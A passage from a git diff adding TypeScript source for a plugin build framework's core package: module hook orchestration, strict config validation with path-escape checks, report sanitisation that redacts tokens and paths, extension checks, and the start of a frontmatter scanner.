+ if (finalized) + return cause; + finalized = true; + let cleanupCause = cause; + for (const runtime of [...initialized].reverse()) { + try { + const context = moduleContext(request, diagnostics, runtime, runtimes); + await runtime.module.buildEnd?.(cleanupCause === undefined ? context : { ...context, error: cleanupCause }); + } catch (error) { + cleanupCause ??= error; + diagnostics.error('MODULE_BUILD_END_FAILED', `Module ${runtime.module.name} buildEnd failed.`, { phase: 'buildEnd', module: runtime.module.name }); + } + } + return cleanupCause; + }; + + try { + let orderedModules: AcpluginModule[]; + try { + orderedModules = sortModules(request.config.modules); + } catch { + diagnostics.error('MODULE_GRAPH_INVALID', 'Module dependency graph is invalid.', { phase: 'config' }); + orderedModules = []; + } + + for (const module of orderedModules) { + const runtime: ModuleRuntime = { + module, + workDir: path.join(runtimeRoot, encodeURIComponent(module.name)), + state: undefined, + builtState: undefined, + }; + await fs.mkdir(runtime.workDir, { recursive: true }); + runtimes.set(module.name, runtime); + try { + await module.configResolved?.(request.config); + initialized.push(runtime); + } catch { + diagnostics.error('MODULE_HOOK_FAILED', `Module ${module.name} configResolved failed.`, { phase: 'configResolved', module: module.name }); + } + } + + for (const runtime of initialized) { + try { + runtime.state = await runtime.module.discover?.(moduleContext(request, diagnostics, runtime, runtimes)); + } catch { + diagnostics.error('MODULE_HOOK_FAILED', `Module ${runtime.module.name} discover failed.`, { phase: 'discover', module: runtime.module.name }); + } + } + + const scanned = await scanProject(request.config, diagnostics); + project = scanned.project; + + for (const runtime of initialized) { + try { + await runtime.module.validate?.({ ...moduleContext(request, diagnostics, runtime, runtimes), project }, runtime.state); + } catch { + diagnostics.error('MODULE_HOOK_FAILED', `Module ${runtime.module.name} validate failed.`, { phase: 'validate', module: runtime.module.name }); + } + } + + if (!diagnostics.hasErrors) { + for (const runtime of initialized) { + try { + runtime.builtState = await runtime.module.build?.({ ...moduleContext(request, diagnostics, runtime, runtimes), project }, runtime.state); + } catch { + diagnostics.error('MODULE_HOOK_FAILED', `Module ${runtime.module.name} build failed.`, { phase: 'build', module: runtime.module.name }); + } + } + } + + if (!diagnostics.hasErrors) { + for (const target of request.config.targets) { + const errorsBeforeTarget = diagnostics.diagnostics.filter(item => item.severity === 'error').length; + const compiler = request.compilers.get(target.id); + if (!compiler) { + diagnostics.error('COMPILER_MISSING', `No Compiler registered for ${target.id}.`, { phase: 'generate', target: target.id }); + continue; + } + const contributions: { module: string; contribution: TargetContribution }[] = []; + for (const runtime of initialized) { + try { + const contribution = await runtime.module.generate?.( + { ...moduleContext(request, diagnostics, runtime, runtimes), project: project!, target: target.id }, + runtime.state, + runtime.builtState, + ); + if (contribution) + contributions.push({ module: runtime.module.name, contribution }); + } catch { + diagnostics.error('MODULE_HOOK_FAILED', `Module ${runtime.module.name} generate failed.`, { phase: 'generate', module: runtime.module.name, target: target.id }); + } + } + if (diagnostics.diagnostics.filter(item => item.severity === 'error').length > errorsBeforeTarget) + continue; + try { + const output = await compiler.compile({ config: request.config, project: project!, target, contributions, diagnostics }); + const targetCompatibility = [ + ...output.compatibility, + ...contributions.flatMap(item => item.contribution.compatibility ?? []), + ]; + compatibility.push(...targetCompatibility); + applyCompatibilityStrictness(diagnostics, target, targetCompatibility); + + const graph = new ArtifactGraph([request.config.root, runtimeRoot]); + for (const publicFile of project!.publicFiles) + await graph.add('public', { path: publicFile.targetPath, source: { type: 'file', path: publicFile.sourcePath }, mode: publicFile.mode }); + for (const artifact of output.artifacts) + await graph.add(`compiler:${target.id}`, artifact); + for (const item of contributions) { + for (const artifact of item.contribution.artifacts ?? []) + await graph.add(`module:${item.module}`, artifact); + } + targetArtifacts.set(target.id, graph.artifacts); + for (const artifact of graph.artifacts) { + artifactReports.push({ + target: target.id, + path: artifact.path, + owner: sanitizeReportText(artifact.owner), + mode: artifact.mode, + size: artifact.size, + sha256: artifact.sha256, + }); + } + } catch { + diagnostics.error('TARGET_GENERATION_FAILED', `${target.id} generation failed.`, { phase: 'generate', target: target.id }); + } + } + } + + if (!diagnostics.hasErrors && targetArtifacts.size === request.config.targets.length) { + if (request.commit) { + await commitManagedOutput(request.config.outDir, targetArtifacts, { + async afterSwap() { + originalError = await finalizeModules(originalError); + if (originalError !== undefined) + throw originalError; + }, + }); + committed = true; + } else { + await validateMaterialization(targetArtifacts); + originalError = await finalizeModules(originalError); + } + } + } catch (error) { + originalError ??= error; + if (!diagnostics.hasErrors) + diagnostics.error('BUILD_INTERNAL_FAILED', 'The build failed inside the framework.', { phase: 'internal' }); + } finally { + if (originalError === undefined && diagnostics.hasErrors) + originalError = new Error('Build failed; see diagnostics.'); + originalError = await finalizeModules(originalError); + await fs.rm(runtimeRoot, { recursive: true, force: true }); + } + + const result: BuildResult = { + report: createReport(request, project, diagnostics.diagnostics, compatibility, artifactReports, committed), + }; + if (project !== undefined) + result.project = project; + return result; +} diff --git a/packages/core/src/config.ts b/packages/core/src/config.ts new file mode 100644 index 0000000..aeb17d4 --- /dev/null +++ b/packages/core/src/config.ts @@ -0,0 +1,267 @@ +import path from 'node:path'; +import semver from 'semver'; +import type { + BuildCommand, + BuildMode, + PlatformExtensions, + ResolvedConfig, + ResolvedPublicConfig, + ResolvedTarget, + TargetId, + UserConfig, +} from './types.js'; +import { TARGET_IDS } from './types.js'; +import { DiagnosticCollector } from './diagnostics.js'; +import { extensionIssues } from './extensions.js'; + +const NAME_PATTERN = /^[a-z0-9]+(?:-[a-z0-9]+)*$/; +const MODULE_NAME_PATTERN = /^(?:@[a-z0-9][a-z0-9._-]*\/)?[a-z0-9][a-z0-9._-]*$/; +const ALLOWED_FIELDS = new Set([ + 'name', 'version', 'description', 'displayName', 'srcDir', 'public', + 'targets', 'modules', 'build', 'extensions', +]); + +function isRecord(value: unknown): value is Record { + return value !== null && typeof value === 'object' && !Array.isArray(value); +} + +function rejectUnknownFields( + value: Record, + allowed: readonly string[], + fieldPath: readonly (string | number)[], + diagnostics: DiagnosticCollector, +): void { + const accepted = new Set(allowed); + for (const key of Object.keys(value)) { + if (!accepted.has(key)) { + diagnostics.error('CONFIG_FIELD_UNKNOWN', `Unknown configuration field "${[...fieldPath, key].join('.')}` + '".', { + phase: 'config', fieldPath: [...fieldPath, key], + }); + } + } +} + +function presentationName(name: string): string { + return name.split('-').map(part => part.charAt(0).toUpperCase() + part.slice(1)).join(' '); +} + +function isInside(root: string, candidate: string): boolean { + const relative = path.relative(root, candidate); + return relative === '' || (!relative.startsWith(`..${path.sep}`) && relative !== '..' && !path.isAbsolute(relative)); +} + +function resolveInside(root: string, value: string, field: string, diagnostics: DiagnosticCollector): string { + const resolved = path.resolve(root, value); + if (!isInside(root, resolved)) { + diagnostics.error('CONFIG_PATH_ESCAPE', `${field} must stay inside the project root.`, { + phase: 'config', fieldPath: [field], + }); + } + return resolved; +} + +function resolveTargets( + targets: readonly unknown[] | undefined, + strict: boolean, + diagnostics: DiagnosticCollector, +): ResolvedTarget[] { + const input: readonly unknown[] = targets ?? TARGET_IDS; + const seen = new Set(); + const resolved: ResolvedTarget[] = []; + + if (input.length === 0) + diagnostics.error('CONFIG_TARGETS_EMPTY', 'targets must contain at least one target.', { phase: 'config', fieldPath: ['targets'] }); + + for (const target of input) { + if (typeof target !== 'string' && !isRecord(target)) { + diagnostics.error('CONFIG_TARGET_INVALID', 'Every target must be a target ID or target object.', { phase: 'config', fieldPath: ['targets'] }); + continue; + } + if (isRecord(target)) { + rejectUnknownFields(target, ['id', 'strict'], ['targets'], diagnostics); + if (target.strict !== undefined && typeof target.strict !== 'boolean') + diagnostics.error('CONFIG_TARGET_STRICT_INVALID', 'Target strict must be boolean.', { phase: 'config', fieldPath: ['targets', 'strict'] }); + } + const id = typeof target === 'string' ? target : target.id; + if (typeof id !== 'string') { + diagnostics.error('CONFIG_TARGET_INVALID', 'Target id must be a string.', { phase: 'config', fieldPath: ['targets', 'id'] }); + continue; + } + if (!TARGET_IDS.includes(id as TargetId)) { + diagnostics.error('CONFIG_TARGET_UNKNOWN', `Unknown target "${id}".`, { phase: 'config', fieldPath: ['targets'] }); + continue; + } + if (seen.has(id as TargetId)) { + diagnostics.error('CONFIG_TARGET_DUPLICATE', `Target "${id}" is duplicated.`, { phase: 'config', fieldPath: ['targets'] }); + continue; + } + seen.add(id as TargetId); + resolved.push({ id: id as TargetId, strict: typeof target === 'string' || typeof target.strict !== 'boolean' ? strict : target.strict }); + } + + return resolved; +} + +function resolvePublic(root: string, value: unknown, diagnostics: DiagnosticCollector): ResolvedPublicConfig { + if (value === false) + return { enabled: false, dir: path.join(root, 'public') }; + if (typeof value === 'string') + return { enabled: true, dir: resolveInside(root, value, 'public', diagnostics) }; + if (value !== undefined && !isRecord(value)) { + diagnostics.error('CONFIG_PUBLIC_INVALID', 'public must be false, a directory string, or an object.', { phase: 'config', fieldPath: ['public'] }); + return { enabled: true, dir: path.join(root, 'public') }; + } + + const object = value ?? {}; + rejectUnknownFields(object, ['dir', 'copy'], ['public'], diagnostics); + if (object.dir !== undefined && typeof object.dir !== 'string') + diagnostics.error('CONFIG_PUBLIC_DIR_INVALID', 'public.dir must be a string.', { phase: 'config', fieldPath: ['public', 'dir'] }); + const dir = resolveInside(root, typeof object.dir === 'string' ? object.dir : 'public', 'public.dir', diagnostics); + const copy: { from: string; to: string }[] = []; + if (object.copy !== undefined && !Array.isArray(object.copy)) + diagnostics.error('CONFIG_PUBLIC_COPY_INVALID', 'public.copy must be an array.', { phase: 'config', fieldPath: ['public', 'copy'] }); + if (Array.isArray(object.copy)) { + for (const [index, rawRule] of object.copy.entries()) { + if (!isRecord(rawRule)) { + diagnostics.error('CONFIG_PUBLIC_RULE_INVALID', 'Every Public copy rule must be an object.', { phase: 'config', fieldPath: ['public', 'copy', index] }); + continue; + } + rejectUnknownFields(rawRule, ['from', 'to'], ['public', 'copy', index], diagnostics); + if (typeof rawRule.from !== 'string' || typeof rawRule.to !== 'string') { + diagnostics.error('CONFIG_PUBLIC_RULE_INVALID', 'Public copy rules require string from and to fields.', { phase: 'config', fieldPath: ['public', 'copy', index] }); + continue; + } + const rule = { from: rawRule.from, to: rawRule.to }; + copy.push(rule); + if (path.isAbsolute(rule.from) || path.isAbsolute(rule.to) || rule.from.split(/[\\/]/).includes('..') || rule.to.split(/[\\/]/).includes('..')) { + diagnostics.error('CONFIG_PUBLIC_RULE_ESCAPE', 'Public copy paths must be relative and cannot contain parent traversal.', { + phase: 'config', fieldPath: ['public', 'copy', index], + }); + } + } + } + return object.copy !== undefined ? { enabled: true, dir, copy } : { enabled: true, dir }; +} + +export function resolveConfig( + value: UserConfig, + configPath: string, + command: BuildCommand, + mode: BuildMode, +): { config?: ResolvedConfig; diagnostics: readonly import('./types.js').Diagnostic[] } { + const diagnostics = new DiagnosticCollector(); + const root = path.dirname(path.resolve(configPath)); + const object = value as unknown; + + if (!isRecord(object)) { + diagnostics.error('CONFIG_OBJECT_REQUIRED', 'Configuration must be an object.', { phase: 'config' }); + return { diagnostics: diagnostics.diagnostics }; + } + + rejectUnknownFields(object, [...ALLOWED_FIELDS], [], diagnostics); + + if (typeof object.name !== 'string' || !NAME_PATTERN.test(object.name)) + diagnostics.error('CONFIG_NAME_INVALID', 'name must be lowercase kebab-case.', { phase: 'config', fieldPath: ['name'] }); + if (typeof object.version !== 'string' || !semver.valid(object.version)) + diagnostics.error('CONFIG_VERSION_INVALID', 'version must be valid SemVer.', { phase: 'config', fieldPath: ['version'] }); + if (typeof object.description !== 'string' || object.description.trim() === '') + diagnostics.error('CONFIG_DESCRIPTION_REQUIRED', 'description is required.', { phase: 'config', fieldPath: ['description'] }); + if (object.displayName !== undefined && (typeof object.displayName !== 'string' || object.displayName.trim() === '')) + diagnostics.error('CONFIG_DISPLAY_NAME_INVALID', 'displayName must be a non-empty string.', { phase: 'config', fieldPath: ['displayName'] }); + if (object.srcDir !== undefined && typeof object.srcDir !== 'string') + diagnostics.error('CONFIG_SRC_DIR_INVALID', 'srcDir must be a string.', { phase: 'config', fieldPath: ['srcDir'] }); + + let build: Record = {}; + if (object.build !== undefined) { + if (!isRecord(object.build)) + diagnostics.error('CONFIG_BUILD_INVALID', 'build must be an object.', { phase: 'config', fieldPath: ['build'] }); + else + build = object.build; + } + rejectUnknownFields(build, ['outDir', 'strict'], ['build'], diagnostics); + if (build.outDir !== undefined && typeof build.outDir !== 'string') + diagnostics.error('CONFIG_OUT_DIR_INVALID', 'build.outDir must be a string.', { phase: 'config', fieldPath: ['build', 'outDir'] }); + if (build.strict !== undefined && typeof build.strict !== 'boolean') + diagnostics.error('CONFIG_STRICT_INVALID', 'build.strict must be boolean.', { phase: 'config', fieldPath: ['build', 'strict'] }); + + if (object.targets !== undefined && !Array.isArray(object.targets)) + diagnostics.error('CONFIG_TARGETS_INVALID', 'targets must be an array.', { phase: 'config', fieldPath: ['targets'] }); + if (object.modules !== undefined && !Array.isArray(object.modules)) + diagnostics.error('CONFIG_MODULES_INVALID', 'modules must be an array.', { phase: 'config', fieldPath: ['modules'] }); + + let extensions: PlatformExtensions = {}; + if (object.extensions !== undefined) { + if (!isRecord(object.extensions)) { + diagnostics.error('CONFIG_EXTENSIONS_INVALID', 'extensions must be an object.', { phase: 'config', fieldPath: ['extensions'] }); + } else { + rejectUnknownFields(object.extensions, [...TARGET_IDS], ['extensions'], diagnostics); + for (const [target, extension] of Object.entries(object.extensions)) { + if (!TARGET_IDS.includes(target as TargetId)) + continue; + if (!isRecord(extension)) { + diagnostics.error('CONFIG_EXTENSION_INVALID', `extensions.${target} must be an object.`, { phase: 'config', fieldPath: ['extensions', target] }); + continue; + } + for (const issue of extensionIssues(extension, ['extensions', target])) + diagnostics.error('CONFIG_EXTENSION_SEMANTICS', issue.message, { phase: 'config', fieldPath: issue.path }); + } + extensions = object.extensions as PlatformExtensions; + } + } + + const strict = typeof build.strict === 'boolean' ? build.strict : true; + const srcDir = resolveInside(root, typeof object.srcDir === 'string' ? object.srcDir : 'src', 'srcDir', diagnostics); + const outDir = resolveInside(root, typeof build.outDir === 'string' ? build.outDir : 'dist', 'build.outDir', diagnostics); + const publicConfig = resolvePublic(root, object.public, diagnostics); + const targets = resolveTargets(Array.isArray(object.targets) ? object.targets : object.targets === undefined ? undefined : [], strict, diagnostics); + + if (outDir === root) + diagnostics.error('CONFIG_OUTDIR_ROOT', 'build.outDir cannot be the project root.', { phase: 'config', fieldPath: ['build', 'outDir'] }); + if (srcDir === outDir || (isInside(srcDir, outDir) && srcDir !== outDir) || (isInside(outDir, srcDir) && srcDir !== outDir)) + diagnostics.error('CONFIG_DIRECTORY_OVERLAP', 'srcDir and build.outDir cannot contain each other.', { phase: 'config' }); + if (publicConfig.enabled && (publicConfig.dir === outDir || isInside(publicConfig.dir, outDir) || isInside(outDir, publicConfig.dir))) + diagnostics.error('CONFIG_DIRECTORY_OVERLAP', 'Public directory and build.outDir cannot contain each other.', { phase: 'config' }); + + const modules = (Array.isArray(object.modules) ? object.modules : []) as unknown[]; + const moduleNames = new Set(); + for (const [index, module] of modules.entries()) { + if (!isRecord(module) || typeof module.name !== 'string' || !MODULE_NAME_PATTERN.test(module.name)) { + diagnostics.error('CONFIG_MODULE_INVALID', 'Every module name must be a lowercase package-style identifier.', { phase: 'config', fieldPath: ['modules', index] }); + continue; + } + rejectUnknownFields(module, [ + 'name', 'dependsOn', 'configResolved', 'discover', 'validate', 'build', 'generate', 'buildEnd', + ], ['modules', index], diagnostics); + if (module.dependsOn !== undefined && (!Array.isArray(module.dependsOn) || module.dependsOn.some(dependency => typeof dependency !== 'string' || dependency === ''))) + diagnostics.error('CONFIG_MODULE_DEPENDENCIES_INVALID', 'Module dependsOn must be an array of non-empty names.', { phase: 'config', fieldPath: ['modules', index, 'dependsOn'] }); + for (const hook of ['configResolved', 'discover', 'validate', 'build', 'generate', 'buildEnd']) { + if (module[hook] !== undefined && typeof module[hook] !== 'function') + diagnostics.error('CONFIG_MODULE_HOOK_INVALID', `Module ${hook} must be a function.`, { phase: 'config', fieldPath: ['modules', index, hook] }); + } + if (moduleNames.has(module.name)) + diagnostics.error('CONFIG_MODULE_DUPLICATE', `Module "${module.name}" is configured more than once.`, { phase: 'config', fieldPath: ['modules', index] }); + moduleNames.add(module.name); + } + + if (diagnostics.hasErrors) + return { diagnostics: diagnostics.diagnostics }; + + const config: ResolvedConfig = { + root, + configPath: path.resolve(configPath), + command, + mode, + name: object.name as string, + version: object.version as string, + description: (object.description as string).trim(), + displayName: typeof object.displayName === 'string' ? object.displayName.trim() : presentationName(object.name as string), + srcDir, + public: publicConfig, + targets, + modules: modules as import('./types.js').AcpluginModule[], + outDir, + strict, + extensions, + }; + return { config, diagnostics: diagnostics.diagnostics }; +} diff --git a/packages/core/src/diagnostics.ts b/packages/core/src/diagnostics.ts new file mode 100644 index 0000000..3f399a5 --- /dev/null +++ b/packages/core/src/diagnostics.ts @@ -0,0 +1,118 @@ +import type { CompatibilityEntry, Diagnostic, DiagnosticCollectorLike, ResolvedTarget } from './types.js'; + +export function sanitizeReportText(value: string): string { + return value + .replace(/\b(?:Bearer|Basic)\s+[^\s,;]+/gi, '') + .replace(/\b(?:token|secret|password|api[_-]?key)\s*[=:]\s*[^\s,;]+/gi, '') + .replace(/(?:[A-Za-z]:[\\/]|\/)(?:[^\s"'`:,]|:(?!\/\/))+/g, '') + .replace(/[\r\n\t]+/g, ' ') + .trim(); +} + +function safeLocation(location: import('./types.js').SourceLocation | undefined): import('./types.js').SourceLocation | undefined { + if (!location) + return undefined; + const safePath = /^(?:[A-Za-z]:[\\/]|\/)/.test(location.path) ? '' : location.path; + return { ...location, path: safePath }; +} + +function safeDiagnostic(diagnostic: Diagnostic): Diagnostic { + return { + ...diagnostic, + code: /^[A-Z][A-Z0-9_]*$/.test(diagnostic.code) ? diagnostic.code : 'DIAGNOSTIC_CODE_INVALID', + message: sanitizeReportText(diagnostic.message), + phase: sanitizeReportText(diagnostic.phase), + ...(diagnostic.module === undefined ? {} : { module: sanitizeReportText(diagnostic.module) }), + ...(diagnostic.component === undefined ? {} : { component: { ...diagnostic.component, id: sanitizeReportText(diagnostic.component.id) } }), + ...(diagnostic.fieldPath === undefined ? {} : { fieldPath: diagnostic.fieldPath.map(field => typeof field === 'string' ? sanitizeReportText(field) : field) }), + ...(diagnostic.hint === undefined ? {} : { hint: sanitizeReportText(diagnostic.hint) }), + ...(diagnostic.location === undefined ? {} : { location: safeLocation(diagnostic.location)! }), + ...(diagnostic.related === undefined ? {} : { related: diagnostic.related.map(location => safeLocation(location)!) }), + }; +} + +function compareStrings(a: string | undefined, b: string | undefined): number { + return (a ?? '').localeCompare(b ?? '', 'en'); +} + +export function sortDiagnostics(diagnostics: readonly Diagnostic[]): Diagnostic[] { + return [...diagnostics].sort((a, b) => + compareStrings(a.target, b.target) + || compareStrings(a.module, b.module) + || compareStrings(a.location?.path, b.location?.path) + || (a.location?.line ?? 0) - (b.location?.line ?? 0) + || (a.location?.column ?? 0) - (b.location?.column ?? 0) + || compareStrings(a.code, b.code) + || compareStrings(a.message, b.message)); +} + +export function sortCompatibility(entries: readonly CompatibilityEntry[]): CompatibilityEntry[] { + return entries.map(entry => ({ + ...entry, + subject: sanitizeReportText(entry.subject), + capability: sanitizeReportText(entry.capability), + reason: sanitizeReportText(entry.reason), + ...(entry.transformation === undefined ? {} : { transformation: sanitizeReportText(entry.transformation) }), + ...(entry.causes === undefined ? {} : { causes: entry.causes.map(sanitizeReportText) }), + })).sort((a, b) => + compareStrings(a.target, b.target) + || compareStrings(a.subject, b.subject) + || compareStrings(a.capability, b.capability) + || compareStrings(a.level, b.level)); +} + +export class DiagnosticCollector implements DiagnosticCollectorLike { + readonly #items: Diagnostic[] = []; + + get diagnostics(): readonly Diagnostic[] { + return sortDiagnostics(this.#items); + } + + get hasErrors(): boolean { + return this.#items.some(item => item.severity === 'error'); + } + + add(diagnostic: Diagnostic): void { + this.#items.push(safeDiagnostic(diagnostic)); + } + + error( + code: string, + message: string, + options: Partial> = {}, + ): void { + this.add({ code, message, severity: 'error', phase: options.phase ?? 'unknown', ...options }); + } + + warning( + code: string, + message: string, + options: Partial> = {}, + ): void { + this.add({ code, message, severity: 'warning', phase: options.phase ?? 'unknown', ...options }); + } +} + +export function applyCompatibilityStrictness( + collector: DiagnosticCollectorLike, + target: ResolvedTarget, + entries: readonly CompatibilityEntry[], +): void { + for (const entry of entries) { + if (entry.level !== 'degraded' && entry.level !== 'unsupported') + continue; + + const message = `${entry.subject}: ${entry.reason}`; + const options: Partial> = { + phase: 'compatibility', + target: target.id, + }; + if (entry.transformation !== undefined) + options.hint = entry.transformation; + + if (target.strict) + collector.error('COMPATIBILITY_STRICT', message, options); + else + collector.warning('COMPATIBILITY_RELAXED', message, options); + } +} diff --git a/packages/core/src/extensions.ts b/packages/core/src/extensions.ts new file mode 100644 index 0000000..848ba6d --- /dev/null +++ b/packages/core/src/extensions.ts @@ -0,0 +1,48 @@ +export interface ExtensionIssue { + path: readonly (string | number)[]; + message: string; +} + +const CANONICAL_KEYS = new Set([ + 'name', 'version', 'description', 'displayname', 'body', 'prompt', 'instructions', + 'commands', 'skills', 'agents', 'hooks', 'mcp', 'mcpservers', 'manifest', +]); + +export function extensionIssues( + value: unknown, + path: readonly (string | number)[] = [], + seen = new WeakSet(), +): ExtensionIssue[] { + if (value === null || typeof value === 'string' || typeof value === 'boolean') + return []; + if (typeof value === 'number') + return Number.isFinite(value) ? [] : [{ path, message: 'Extension numbers must be finite.' }]; + if (Array.isArray(value)) { + if (seen.has(value)) + return [{ path, message: 'Extension values cannot contain cycles.' }]; + seen.add(value); + return value.flatMap((item, index) => extensionIssues(item, [...path, index], seen)); + } + if (typeof value !== 'object') + return [{ path, message: 'Extension values must be deterministic JSON data.' }]; + if (seen.has(value)) + return [{ path, message: 'Extension values cannot contain cycles.' }]; + seen.add(value); + const prototype = Object.getPrototypeOf(value); + if (prototype !== null && prototype !== Object.prototype) + return [{ path, message: 'Extension objects must be plain JSON mappings.' }]; + + const issues: ExtensionIssue[] = []; + for (const [key, child] of Object.entries(value as Record)) { + const childPath = [...path, key]; + if (CANONICAL_KEYS.has(key.toLowerCase())) { + issues.push({ + path: childPath, + message: `Extension field "${key}" duplicates canonical plugin semantics.`, + }); + continue; + } + issues.push(...extensionIssues(child, childPath, seen)); + } + return issues; +} diff --git a/packages/core/src/index.ts b/packages/core/src/index.ts new file mode 100644 index 0000000..d50a1a6 --- /dev/null +++ b/packages/core/src/index.ts @@ -0,0 +1,10 @@ +export * from './types.js'; +export * from './diagnostics.js'; +export * from './config.js'; +export * from './scanner.js'; +export * from './artifacts.js'; +export * from './transaction.js'; +export * from './builder.js'; +export * from './serialization.js'; + +export const CORE_SCHEMA_VERSION = '1'; diff --git a/packages/core/src/scanner.ts b/packages/core/src/scanner.ts new file mode 100644 index 0000000..b13abbd --- /dev/null +++ b/packages/core/src/scanner.ts @@ -0,0 +1,574 @@ +import { promises as fs } from 'node:fs'; +import path from 'node:path'; +import { parseDocument } from 'yaml'; +import { DiagnosticCollector } from './diagnostics.js'; +import { extensionIssues } from './extensions.js'; +import type { + AgentCapability, + AgentComponent, + AgentModel, + ArtifactMode, + CommandComponent, + Component, + ComponentKind, + ComponentRequires, + PlatformExtensions, + PluginProject, + PublicFile, + ResolvedConfig, + SkillAuxiliaryFile, + SkillComponent, +} from './types.js'; + +const ID_PATTERN = /^[a-z0-9]+(?:-[a-z0-9]+)*$/; +const AGENT_MODELS = new Set(['inherit', 'fast', 'capable']); +const AGENT_CAPABILITIES = new Set([ + 'filesystem:read', 'filesystem:write', 'search', 'shell', 'network', 'delegate', +]); + +interface ParsedMarkdown { + data: Record; + body: string; +} + +function relative(root: string, file: string): string { + return path.relative(root, file).split(path.sep).join('/'); +} + +async function exists(file: string): Promise { + try { + await fs.access(file); + return true; + } catch { + return false; + } +} + +function modeFromStat(mode: number): ArtifactMode { + return mode & 0o111 ? 0o755 : 0o644; +} + +async function assertRegularFile( + file: string, + root: string, + diagnostics: DiagnosticCollector, + phase = 'discover', +): Promise { + try { + const stat = await fs.lstat(file); + if (stat.isSymbolicLink()) { + diagnostics.error('SOURCE_SYMLINK_UNSUPPORTED', 'Symbolic links are not supported.', { + phase, location: { path: relative(root, file) }, + }); + return undefined; + } + if (!stat.isFile()) { + diagnostics.error('SOURCE_NOT_FILE', 'Expected a regular file.', { + phase, location: { path: relative(root, file) }, + }); + return undefined; + } + return stat; + } catch { + diagnostics.error('SOURCE_READ_FAILED', 'Cannot read source file.', { + phase, location: { path: relative(root, file) }, + }); + return undefined; + } +} + +async function parseMarkdown( + file: string, + root: string, + diagnostics: DiagnosticCollector, +): Promise { + if (!await assertRegularFile(file, root, diagnostics)) + return undefined; + + let source: string; + try { + source = await fs.readFile(file, 'utf8'); + } catch { + diagnostics.error('MARKDOWN_READ_FAILED', 'Cannot read Markdown.', { + phase: 'discover', location: { path: relative(root, file) }, + }); + return undefined; + } + + const lines = source.split(/\r?\n/); + if (lines[0] !== '---') { + diagnostics.error('FRONTMATTER_REQUIRED', 'A YAML Frontmatter block is required.', { + phase: 'discover', location: { path: relative(root, file), line: 1, column: 1 }, + }); + return undefined; + } + const closing = lines.findIndex((line, index) => index > 0 && line === '---'); + if (closing < 0) { + diagnostics.error('FRONTMATTER_UNTERMINATED', 'YAML Frontmatter is not terminated.', { + phase: 'discover', location: { path: relative(root, file), line: 1, column: 1 }, + }); + return undefined; + } + + const yamlSource = lines.slice(1, closing).join('\n'); + const document = parseDocument(yamlSource, { prettyErrors: false, uniqueKeys: true }); + if (document.errors.length > 0) { + diagnostics.error('FRONTMATTER_INVALID', 'Invalid YAML Frontmatter.', { + phase: 'discover', location: { path: relative(root, file), line: 2, column: 1 }, + }); + return undefined; + } + const raw = document.toJS() as unknown; + if (raw === null || typeof raw !== 'object' || Array.isArray(raw)) { + diagnostics.error('FRONTMATTER_OBJECT_REQUIRED', 'Frontmatter must be a mapping.', { + phase: 'discover', location: { path: relative(root, file), line: 2, column: 1 }, + }); + return undefined; + } + const body = lines.slice(closing + 1).join('\n').trim(); + if (body === '') { + diagnostics.error('MARKDOWN_BODY_REQUIRED', 'Markdown body must not be empty.', { + phase: 'discover', location: { path: relative(root, file), line: closing + 2, column: 1 }, + }); + return undefined; + } + return { data: raw as Record, body }; +} + +function validateId(id: string, sourcePath: string, diagnostics: DiagnosticCollector): boolean { + if (ID_PATTERN.test(id)) + return true; + diagnostics.error('COMPONENT_ID_INVALID', `Component ID "${id}" must be lowercase kebab-case.`, { + phase: 'discover', location: { path: sourcePath }, + }); + return false; +} + +function validateFields( + data: Record, + allowed: readonly string[], + sourcePath: string, + diagnostics: DiagnosticCollector, +): void { + const allowedSet = new Set(allowed); + for (const key of Object.keys(data)) { + if (!allowedSet.has(key)) { + diagnostics.error('FRONTMATTER_FIELD_UNKNOWN', `Unknown Frontmatter field "${key}".`, { + phase: 'discover', location: { path: sourcePath }, fieldPath: [key], + }); + } + } +} + +function stringField( + data: Record, + key: string, + sourcePath: string, + diagnostics: DiagnosticCollector, + required = false, +): string | undefined { + const value = data[key]; + if (value === undefined && !required) + return undefined; + if (typeof value !== 'string' || value.trim() === '') { + diagnostics.error('FRONTMATTER_STRING_REQUIRED', `${key} must be a non-empty string.`, { + phase: 'discover', location: { path: sourcePath }, fieldPath: [key], + }); + return undefined; + } + return value.trim(); +} + +function stringArray( + value: unknown, + fieldPath: readonly string[], + sourcePath: string, + diagnostics: DiagnosticCollector, +): string[] { + if (value === undefined) + return []; + if (!Array.isArray(value) || value.some(item => typeof item !== 'string' || item === '')) { + diagnostics.error('FRONTMATTER_STRING_ARRAY', `${fieldPath.join('.')} must be an array of non-empty strings.`, { + phase: 'discover', location: { path: sourcePath }, fieldPath, + }); + return []; + } + const result = value as string[]; + if (new Set(result).size !== result.length) { + diagnostics.error('COMPONENT_REQUIRES_DUPLICATE', `${fieldPath.join('.')} contains duplicate IDs.`, { + phase: 'discover', location: { path: sourcePath }, fieldPath, + }); + } + return result; +} + +function parseRequires(data: unknown, sourcePath: string, diagnostics: DiagnosticCollector): ComponentRequires { + if (data === undefined) + return { skills: [], agents: [] }; + if (data === null || typeof data !== 'object' || Array.isArray(data)) { + diagnostics.error('COMPONENT_REQUIRES_INVALID', 'requires must be a mapping.', { + phase: 'discover', location: { path: sourcePath }, fieldPath: ['requires'], + }); + return { skills: [], agents: [] }; + } + const object = data as Record; + for (const key of Object.keys(object)) { + if (key !== 'skills' && key !== 'agents') { + diagnostics.error('COMPONENT_REQUIRES_KIND', `requires.${key} is not supported.`, { + phase: 'discover', location: { path: sourcePath }, fieldPath: ['requires', key], + }); + } + } + return { + skills: stringArray(object.skills, ['requires', 'skills'], sourcePath, diagnostics), + agents: stringArray(object.agents, ['requires', 'agents'], sourcePath, diagnostics), + }; +} + +function parseExtensions(data: unknown, sourcePath: string, diagnostics: DiagnosticCollector): PlatformExtensions { + if (data === undefined) + return {}; + if (data === null || typeof data !== 'object' || Array.isArray(data)) { + diagnostics.error('EXTENSIONS_INVALID', 'extensions must be a mapping.', { + phase: 'discover', location: { path: sourcePath }, fieldPath: ['extensions'], + }); + return {}; + } + const object = data as Record; + for (const [key, value] of Object.entries(object)) { + if (key !== 'claude-code' && key !== 'codex') { + diagnostics.error('EXTENSION_TARGET_UNKNOWN', `Unknown extension target "${key}".`, { + phase: 'discover', location: { path: sourcePath }, fieldPath: ['extensions', key], + }); + continue; + } + if (value === null || typeof value !== 'object' || Array.isArray(value)) { + diagnostics.error('EXTENSION_VALUE_INVALID', `Extension target "${key}" must be a mapping.`, { + phase: 'discover', location: { path: sourcePath }, fieldPath: ['extensions', key], + }); + continue; + } + for (const issue of extensionIssues(value, ['extensions', key])) { + 